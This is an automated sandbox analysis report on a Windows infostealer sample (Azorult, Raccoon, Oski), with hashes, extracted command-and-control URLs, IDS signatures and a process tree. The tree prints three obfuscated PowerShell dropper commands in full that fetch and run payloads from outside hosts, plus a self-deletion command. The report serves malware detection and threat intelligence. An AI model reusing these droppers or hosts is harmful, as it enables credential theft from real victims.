azorult | c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53

Analysis

max time kernel
149s
max time network
155s
platform
windows10_x64
resource
win10-en-20211104
submitted
24-11-2021 12:04

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General

Target

c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe
Size

103KB
MD5

f88740451956d87424b84326e9e9dde7
SHA1

a0ccae106a243ad2b1d748512c3e6783b2dd2547
SHA256

c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53
SHA512

1760df8b84624fbde5b4e6447a030ce31e45bc23fb152c2a72c52b9f652283a5f3bb7557a85620943ddc3fff3c4b7071ae864783f3731c9aea390eaf7068aa06

Score

10^/10

azorult oski raccoon 7632dffeb03da57edca98c8bfb2611868e8eb0a7 discovery infostealer spyware stealer suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://bit.do/e33Br

exe.dropper

http://bit.do/e33Br

Extracted

Family

azorult

http://195.245.112.115/index.php

Extracted

Family

raccoon

Version

1.8.3-hotfix

Botnet

7632dffeb03da57edca98c8bfb2611868e8eb0a7

Attributes

url4cnc
http://91.219.236.162/brikitiki
http://185.163.47.176/brikitiki
http://193.38.54.238/brikitiki
http://74.119.192.122/brikitiki
http://91.219.236.240/brikitiki
https://t.me/brikitiki

rc4.plain

Extracted

Family

oski

colonna.ac.ug

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
suricata
suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18
suricata: ET MALWARE Win32/AZORult V3.3 Client Checkin M18
suricata

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\dup2patcher.dll	acprotect

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

18 1628 powershell.exe
19 1620 powershell.exe
20 1532 powershell.exe
25 1532 powershell.exe
Downloads MZ/PE file

flow	pid	process
18	1628	powershell.exe
19	1620	powershell.exe
20	1532	powershell.exe
25	1532	powershell.exe

Executes dropped EXE 10 IoCs

Processes:

Patch-nb9.execlz.exeimw.exefsacvbe.exefsacvbe.execbvdsme.exefsacvbe.exefsacvbe.exeimw.execbvdsme.exe

pid	process
2428	Patch-nb9.exe
2192	clz.exe
2968	imw.exe
1604	fsacvbe.exe
1776	fsacvbe.exe
2120	cbvdsme.exe
3456	fsacvbe.exe
1252	fsacvbe.exe
1340	imw.exe
1528	cbvdsme.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
\Users\Admin\AppData\Local\Temp\dup2patcher.dll	upx

Loads dropped DLL 4 IoCs

Processes:

Patch-nb9.execbvdsme.exe

pid process

2428 Patch-nb9.exe
1528 cbvdsme.exe
1528 cbvdsme.exe
1528 cbvdsme.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 4 IoCs

Processes:

fsacvbe.exefsacvbe.exeimw.execbvdsme.exe

description	pid	process	target process
PID 1776 set thread context of 3456	1776	fsacvbe.exe	fsacvbe.exe
PID 1604 set thread context of 1252	1604	fsacvbe.exe	fsacvbe.exe
PID 2968 set thread context of 1340	2968	imw.exe	imw.exe
PID 2120 set thread context of 1528	2120	cbvdsme.exe	cbvdsme.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

cbvdsme.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString cbvdsme.exe
Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1520 taskkill.exe
Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	cbvdsme.exe

pid	process
1520	taskkill.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

pid	process
1620	powershell.exe
1532	powershell.exe
1628	powershell.exe
1628	powershell.exe
1532	powershell.exe
1620	powershell.exe
1532	powershell.exe
1628	powershell.exe
1620	powershell.exe

Suspicious behavior: MapViewOfSection 4 IoCs

Processes:

fsacvbe.exefsacvbe.exeimw.execbvdsme.exe

pid process

1776 fsacvbe.exe
1604 fsacvbe.exe
2968 imw.exe
2120 cbvdsme.exe

pid	process
1776	fsacvbe.exe
1604	fsacvbe.exe
2968	imw.exe
2120	cbvdsme.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exetaskkill.exe

description	pid	process
Token: SeDebugPrivilege	1532	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	1520	taskkill.exe

Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

imw.execlz.exefsacvbe.exefsacvbe.execbvdsme.exe

pid process

2968 imw.exe
2192 clz.exe
1604 fsacvbe.exe
1776 fsacvbe.exe
2120 cbvdsme.exe

pid	process
2968	imw.exe
2192	clz.exe
1604	fsacvbe.exe
1776	fsacvbe.exe
2120	cbvdsme.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.execmd.exemshta.exemshta.exemshta.exepowershell.exepowershell.exeimw.execlz.exefsacvbe.exefsacvbe.execbvdsme.execbvdsme.execmd.exe

description	pid	process	target process
PID 2728 wrote to memory of 3912	2728	c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe	cmd.exe
PID 2728 wrote to memory of 3912	2728	c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe	cmd.exe
PID 2728 wrote to memory of 3912	2728	c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe	cmd.exe
PID 3912 wrote to memory of 1280	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1280	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1280	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1084	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1084	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1084	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1976	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1976	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 1976	3912	cmd.exe	mshta.exe
PID 3912 wrote to memory of 2428	3912	cmd.exe	Patch-nb9.exe
PID 3912 wrote to memory of 2428	3912	cmd.exe	Patch-nb9.exe
PID 3912 wrote to memory of 2428	3912	cmd.exe	Patch-nb9.exe
PID 1976 wrote to memory of 1532	1976	mshta.exe	powershell.exe
PID 1976 wrote to memory of 1532	1976	mshta.exe	powershell.exe
PID 1976 wrote to memory of 1532	1976	mshta.exe	powershell.exe
PID 1280 wrote to memory of 1620	1280	mshta.exe	powershell.exe
PID 1280 wrote to memory of 1620	1280	mshta.exe	powershell.exe
PID 1280 wrote to memory of 1620	1280	mshta.exe	powershell.exe
PID 1084 wrote to memory of 1628	1084	mshta.exe	powershell.exe
PID 1084 wrote to memory of 1628	1084	mshta.exe	powershell.exe
PID 1084 wrote to memory of 1628	1084	mshta.exe	powershell.exe
PID 1532 wrote to memory of 2192	1532	powershell.exe	clz.exe
PID 1532 wrote to memory of 2192	1532	powershell.exe	clz.exe
PID 1532 wrote to memory of 2192	1532	powershell.exe	clz.exe
PID 1628 wrote to memory of 2968	1628	powershell.exe	imw.exe
PID 1628 wrote to memory of 2968	1628	powershell.exe	imw.exe
PID 1628 wrote to memory of 2968	1628	powershell.exe	imw.exe
PID 2968 wrote to memory of 1604	2968	imw.exe	fsacvbe.exe
PID 2968 wrote to memory of 1604	2968	imw.exe	fsacvbe.exe
PID 2968 wrote to memory of 1604	2968	imw.exe	fsacvbe.exe
PID 2192 wrote to memory of 1776	2192	clz.exe	fsacvbe.exe
PID 2192 wrote to memory of 1776	2192	clz.exe	fsacvbe.exe
PID 2192 wrote to memory of 1776	2192	clz.exe	fsacvbe.exe
PID 2968 wrote to memory of 2120	2968	imw.exe	cbvdsme.exe
PID 2968 wrote to memory of 2120	2968	imw.exe	cbvdsme.exe
PID 2968 wrote to memory of 2120	2968	imw.exe	cbvdsme.exe
PID 1776 wrote to memory of 3456	1776	fsacvbe.exe	fsacvbe.exe
PID 1776 wrote to memory of 3456	1776	fsacvbe.exe	fsacvbe.exe
PID 1776 wrote to memory of 3456	1776	fsacvbe.exe	fsacvbe.exe
PID 1776 wrote to memory of 3456	1776	fsacvbe.exe	fsacvbe.exe
PID 1604 wrote to memory of 1252	1604	fsacvbe.exe	fsacvbe.exe
PID 1604 wrote to memory of 1252	1604	fsacvbe.exe	fsacvbe.exe
PID 1604 wrote to memory of 1252	1604	fsacvbe.exe	fsacvbe.exe
PID 1604 wrote to memory of 1252	1604	fsacvbe.exe	fsacvbe.exe
PID 2968 wrote to memory of 1340	2968	imw.exe	imw.exe
PID 2968 wrote to memory of 1340	2968	imw.exe	imw.exe
PID 2968 wrote to memory of 1340	2968	imw.exe	imw.exe
PID 2968 wrote to memory of 1340	2968	imw.exe	imw.exe
PID 2120 wrote to memory of 1528	2120	cbvdsme.exe	cbvdsme.exe
PID 2120 wrote to memory of 1528	2120	cbvdsme.exe	cbvdsme.exe
PID 2120 wrote to memory of 1528	2120	cbvdsme.exe	cbvdsme.exe
PID 2120 wrote to memory of 1528	2120	cbvdsme.exe	cbvdsme.exe
PID 1528 wrote to memory of 3416	1528	cbvdsme.exe	cmd.exe
PID 1528 wrote to memory of 3416	1528	cbvdsme.exe	cmd.exe
PID 1528 wrote to memory of 3416	1528	cbvdsme.exe	cmd.exe
PID 3416 wrote to memory of 1520	3416	cmd.exe	taskkill.exe
PID 3416 wrote to memory of 1520	3416	cmd.exe	taskkill.exe
PID 3416 wrote to memory of 1520	3416	cmd.exe	taskkill.exe

C:\Users\Admin\AppData\Local\Temp\c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe
"C:\Users\Admin\AppData\Local\Temp\c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2728

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\c594188774a2d72b774aca96eb096c493dbe5c9b599bef4601ed404dfe2fab53.exe"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3912

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\546897459.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1280

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL qucmgwsve $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;qucmgwsve hbgrst $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|hbgrst;qucmgwsve ezyftwlpxijv $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL2JpdC5kby9lMzNCcg==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);ezyftwlpxijv $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1620

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\89465456.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1084

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL bsrucof $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;bsrucof pjwasi $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|pjwasi;bsrucof vngqajdhxmbksl $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL29wZXNqay51Zy9hc2RmLkVYRQ==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);vngqajdhxmbksl $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628

C:\Users\Public\imw.exe
"C:\Users\Public\imw.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2968

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1604

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
7⤵
- Executes dropped EXE
PID:1252

C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
"C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2120

C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
"C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1528

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1528 & erase C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe & RD /S /Q C:\\ProgramData\\806789914282235\\* & exit
8⤵
- Suspicious use of WriteProcessMemory
PID:3416

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1528
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1520

C:\Users\Public\imw.exe
"C:\Users\Public\imw.exe"
6⤵
- Executes dropped EXE
PID:1340

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\54686754.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$npadigy = Get-Random -Min 3 -Max 4;$coprsqtmd = ([char[]]([char]97..[char]122));$utqfscbxh = -join ($coprsqtmd | Get-Random -Count $npadigy | % {[Char]$_});$gneym = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$ympekafs = $utqfscbxh + $gneym;$lcjfzwmk=[char]0x53+[char]0x61+[char]0x4c;$gvabtxz=[char]0x49+[char]0x45+[char]0x58;$ykrcpi=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL lskybn $lcjfzwmk;$ruhkjw=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;lskybn lpiftacswu $gvabtxz;$tmyhezgdac=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|lpiftacswu;lskybn gydjurelmf $ykrcpi;$pgbsknxmfy = $tmyhezgdac + [char]0x5c + $ympekafs;;;;$wftxhgbkup = 'aHR0cDovL2JpdC5kby9lMzNCeA==';$wftxhgbkup=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($wftxhgbkup));$gxhzkab = New-Object $ruhkjw;$ftsouwdr = $gxhzkab.DownloadData($wftxhgbkup);[IO.File]::WriteAllBytes($pgbsknxmfy, $ftsouwdr);gydjurelmf $pgbsknxmfy;;$xvneyqgr = @($vhbkwatp, $yilcegqnaru, $gxdrwlyhtk, $dqkucgyeas);foreach($ylcgumvzn in $xvneyqgr){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1532

C:\Users\Public\clz.exe
"C:\Users\Public\clz.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2192

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1776

C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
"C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe"
7⤵
- Executes dropped EXE
PID:3456

C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\Patch-nb9.exe
Patch-nb9.exe
3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2428

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
MD5
b751492c41c6f3173d3b6f31c1b9b4eb

SHA1
abc53a2c939b1d774940deb0b888b7b1ba5a3c7b

SHA256
ad95fdf313324ed94997cec026239ea3631bf27298500e5def5941db9493b457

SHA512
afa65279455b98353c6fe6869f2b545231231a953afbb1bf2eaed6b11646c4b4c77c5c18102651ae247a2f0fa18c698d908f4d23ca91581cbf28e32e061cb2e2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
6aaa7f8229b66cf57a28ecc5cb372bab

SHA1
dde18c207f69ce96cd4fe10a58a894c8cc18d3cd

SHA256
b83e85d40a06eb4dbe5fa3a35a5ae9954a391ea3b17f3ff03635330f13b13a4f

SHA512
01c2fcf23ab27e41dbe511b9871ca468d08a80bd90e716a57d875af19a82efdb59914027fdea55646d68bf7faae658c6d5b24ca57f2b2499469715be67076aa8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5
c6d40db3b9f910e09009ee12188dda53

SHA1
8e3e92032110751d8001475fb4b7984699d8cddf

SHA256
061ca1dffac292ad2548752d5204090e93bd5cf6bcb0c97776c6b7b179b1c729

SHA512
85ac6a55aa103d2ed1b7f960e9c519e342e1810e4f77a134c25445404091abfef96af31af6342d0987123550a68de9b7bb7924aead85599bb0d1c52584ba5e35

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\54686754.hta
MD5
5e0b83801fa4886fd46875ae3a41b1ac

SHA1
ed43bed966b468947a45639dc658ec2bf19f2809

SHA256
0af01305bb30f2f02814d819a1611b7f19d814ebf23a8b9a4a1573cb94fadba2

SHA512
39747d8cb05c058e10485834e489c1fa4d6e99a95c13f7c2499dc6fe385698c02d222f855277d7ec2f6c30eb4b9446e5c62aa53cf21ca677d23f298f9f94ca27

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\546897459.hta
MD5
494b1b06327accca63dafccbf8f8a67a

SHA1
d77a33d31f025ceebce9e1a64758cb35f8b7676c

SHA256
21fe0379c4df558b3cd2874200a812af7741e6edfa54b88c852ce1f42e2a683a

SHA512
15a23bcdc5595d48e5e9558a2d70133739e38ba081abfe0d6548af238e2276999377edfa7aa1ff9aceaaa49bafbe08b62a9189ee2f3df8fdcd7af46e03a1d6ea

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\89465456.hta
MD5
455f7162de92d00a80bf49a51bd559d2

SHA1
53c5d138507941817c8e1702113d7e78b85e74a2

SHA256
261393c726f2eb67fab94ec3031bf2144b8e1c01aaa1ffe2fbb49e502f1a8f8c

SHA512
06b681397236e36ac3b2394e4e948b1da8a74546d5cc9bb4c7bcba0b6d2d385d771a25013dfa9e440e39b1574a2c8ac9e4083d0acdebe025d3649b0d64b8f638

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\Patch-nb9.exe
MD5
50a3f5f228bcc21b4c3487b882672ebd

SHA1
facd0a9ec9d4deb17519ad4b5c1e1a298c51e8bd

SHA256
d5d2404d1162f37d09d9da2c920250503fcfca10e136fdf376cb2bab552973c9

SHA512
b3bf2726b3404755e608cba5f1c7464640166a93ad29a84a6658a889534d7088a2eaf70df1f9cd0debe104000b51f543313206b231b20a7d283fba0f3697d1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\Patch-nb9.exe
MD5
50a3f5f228bcc21b4c3487b882672ebd

SHA1
facd0a9ec9d4deb17519ad4b5c1e1a298c51e8bd

SHA256
d5d2404d1162f37d09d9da2c920250503fcfca10e136fdf376cb2bab552973c9

SHA512
b3bf2726b3404755e608cba5f1c7464640166a93ad29a84a6658a889534d7088a2eaf70df1f9cd0debe104000b51f543313206b231b20a7d283fba0f3697d1ce

Download Submit
C:\Users\Admin\AppData\Local\Temp\9CCD.tmp\start.bat
MD5
46ca3b99bf1d8afc13591f1a2ad225c0

SHA1
f22241738695d3f4dac7c29b12e3ef1391bc496f

SHA256
ae721a6eea339043b06026ce890d9805e04afa25c72603647fbfe48c1724f4b7

SHA512
5a8967b3deb1ac3decc43579b4797e14ec0efbb54b5ea6c6126c8cc640788d491237fb4daed01095f896dfab98796f1766c789c664e03da087ed9e80315e0891

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\cbvdsme.exe
MD5
af4f7630f1e292f5d6a4e7157c662550

SHA1
d74428bab94698e8f71134f2ce0020403e16ccc8

SHA256
b5f94e330b47c0dcf0e748af9e3e9a030d0c678301eb4ba5c391ad650ecf146a

SHA512
b893918c1add4f44a47d5ab20f983bcfdac04c747226f7c6b57f749d0c28942d95818d5b3127bc9e38ba83ac3107fe5ec479920347814ebc1702962428bcceba

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\fsacvbe.exe
MD5
a78c23397c81f5e49296b6ff5b956928

SHA1
1b6ab1769e58c21c9cd6aa343379fbe5cefda526

SHA256
bc1722809baae20c024e8e9c71c0ff81f6af06989f15518c573fcf2d5a8218df

SHA512
c25b42a52bf81a99cc87ff8afd6c3e23e018e9e0e9b4c2cd4a8a124173f8a7cfbe4cd3a6cab4456bd51411b1fd5a45399a3f499df8d4b4acea8b9143b6d5b1b4

Download Submit
